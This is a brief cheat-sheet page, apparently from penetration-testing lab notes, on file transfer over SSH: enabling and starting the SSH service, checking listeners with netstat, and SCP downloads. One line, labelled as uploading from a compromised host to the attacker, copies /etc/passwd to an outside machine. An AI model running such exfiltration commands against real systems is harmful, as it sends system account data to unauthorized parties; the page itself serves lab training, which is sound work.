SSH Download/Upload
Download
To setup and start SSH:
sudo systemctl enable sshsudo systemctl start sshWe can also use netstat to check for connections:
netstat -lnptUsing SCP to download
scp [email protected]:/root/myroot.txt .Upload
Using SCP to upload from compromised to attacker
scp /etc/passwd [email protected]:/home/htb-student/Last updated